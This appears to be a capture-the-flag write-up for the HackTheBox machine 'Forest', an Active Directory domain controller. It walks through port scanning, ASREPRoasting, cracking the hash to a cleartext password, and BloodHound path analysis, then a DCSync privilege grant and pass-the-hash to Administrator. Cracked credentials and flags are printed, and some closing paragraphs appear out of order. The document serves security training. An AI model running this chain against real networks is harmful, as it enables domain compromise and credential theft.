-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Wed Jan 5 20:40:56 2022 as: nmap -sS --min-rate 5000 -p- -T5 -Pn -n -oN allPorts 10.10.10.161
Warning: 10.10.10.161 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.161
Host is up (0.058s latency).
Not shown: 65473 closed tcp ports (reset), 38 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49676/tcp open unknown
49677/tcp open unknown
49684/tcp open unknown
49706/tcp open unknown
49933/tcp open unknown
# Nmap done at Wed Jan 5 20:41:12 2022 -- 1 IP address (1 host up) scanned in 16.75 seconds
As we see, there are quite a lot of ports open.
Let's try to obtain the services and versions of these ports. The following command will scan these ports more in depth and save the result into a file:
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Wed Jan 5 21:11:22 2022 as: nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -oN targeted 10.10.10.161
Nmap scan report for htb.local (10.10.10.161)
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-01-05 20:18:20Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-time:
| date: 2022-01-05T20:18:23
|_ start_date: 2022-01-05T17:48:15
|_clock-skew: mean: 2h46m50s, deviation: 4h37m09s, median: 6m48s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2022-01-05T12:18:25-08:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 5 21:11:44 2022 -- 1 IP address (1 host up) scanned in 21.92 seconds
It looks like we are facing an Active Directory. In this type of machines, I always like to start by trying to get a list of the domain users. I tried to log in into the RPC service with a null session.
Now that I had a list of users, I could try an ASREPRoast attack.
ASREPRoast attack: when a user does not need pre-authentication, it is possible to obtain a TGT, without knowing the user's credentials, which contains data encrypted with the user's hash, which can be used for offline cracking.
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxc0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox6ded678 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:bfc20160f90cd413afff5ceb86b54dc0$cd8e752d89edff92294ab3dcfffba0c6b4891787d41b5c2ccb8ff4288999e72342eb0778fb18e35491248cc076409e6dd40a4f16fba673d18b817128f67f10db3a063bc1dc5d9bbe6300b83b5c2817282367fb4a0be5fc82f5ce107a3a9d8e7b44511ed707bc14cea21a9e5d2719d60bd1a042dfa4893105b6891b80686db10f4fe97a85eed811c22a6148b5fa50f3c89be5444972e97b5aa91e494942029bdf091dccc93dc0c53d615d305543c99f61c621c579d8c6340f18f1a2e9b6e9e323609e07530375f4a0c476d9c54be38469cce33272094c1d825e2a3ad77c74d4989070c8311285
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
And I got a hash. Next, I put the password in a file, tried to break it with john, and I got the password.
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
1g 0:00:00:10 DONE (2022-02-05 23:11) 0.09940g/s 406139p/s 406139c/s 406139C/s s401447401447401447..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
At this point, I checked with crackmapexec if I could get a shell as the user svc-alfresco.
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> type \users\svc-alfresco\desktop\user.txt
425f527c7cb0f2828d1d9c8aa23057bb
Info: Uploading /home/alfa8sa/Documentos/tools/SharpHound.ps1 to C:\Users\svc-alfresco\Documents\SharpHound.ps1
Data: 1297764 bytes of 1297764 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> dir
Directory: C:\Users\svc-alfresco\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/7/2022 8:22 AM 973325 SharpHound.ps1
Then we import the module.
Import-Module .\SharpHound.ps1
And we execute it.
Invoke-BloodHound -CollectionMethod All
Directory: C:\Users\svc-alfresco\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/7/2022 8:30 AM 15352 20220207083033_BloodHound.zip
-a---- 2/7/2022 8:30 AM 23904 MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin
-a---- 2/7/2022 8:22 AM 973325 SharpHound.ps1
Let's download the .zip file with the download functionality from evil-winrm.
download 20220207083033_BloodHound.zip
Now, we have to start BloodHound. First, we have to start neo4j.
neo4j console
Then we will search for the localhost on port 4747 and log in with the username neo4j and password neo4j. Youâll have to change the password.
On a new console, run BloodHound.
bloodhound -nosandbox
Then log in with the credentials you have set earlier.
Then, click on the Upload Data button on the right section and select the .zip file.
Once all the .json files are uploaded go to the Analysis section, click on the "Find AS-REP Roastable Users (DontReqPreAuth)", right click on the svc-alfresco user and click on "Mark User as Owned".
Now let's see the shortest path to the admin user from our owned user.
And we see there is a path.
We see the user svc-alfresco has permission to modify the DACL (Discretionary Access Control List) on the domain, which means you can grant yourself any privilege you want on the object.
The idea here is to set the user svc-alfresco as a member of the Exchange Windows Permissions, and grant this user the DcSync privileges. Then we could grab the password NTLM hashes of all the principals on the domain.
A user with the DCSync permission impersonates a Domain Controller and requests account password data from the targeted Domain Controller.
First, let's add the svc-alfresco to the Exchange Windows Permissions group.
net group "Exchange Windows Permission" svc-alfresco /add /domain
To grant yourself the DcSync privilege, you will need to use the Add-DomainObjectAcl command, which is from the PowerView.ps1 module. Same as before, let's upload the script to the machine and execute it.
Now that we have the Administrator NTLM password hash, we can get a shell with a PassTheHash attack.
A Pass-the-Hash attack is a technique where an attacker captures a password hash and then simply passes it through for authentication.
This attack exploits the authentication protocol, as the passwords hash remains static for every session until the password is rotated.
Finally, let's execute evil-winrm with the -H flag to get a shell as the administrator user. And all we have to do is reap the harvest and take the root flag.
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type \users\administrator\desktop\root.txt
8906def4cc0d169428828dc7c9b1886b
And I got in. There is a great , which explains various forms of enumerating a domain controller from the RPC service. One of them, is to list the domain users with the enumdomusers command:
Let's upload to the machine to discover attack paths. Evil-winrm has the upload functionality with which you can transfer files from your local machine to the victim machine.
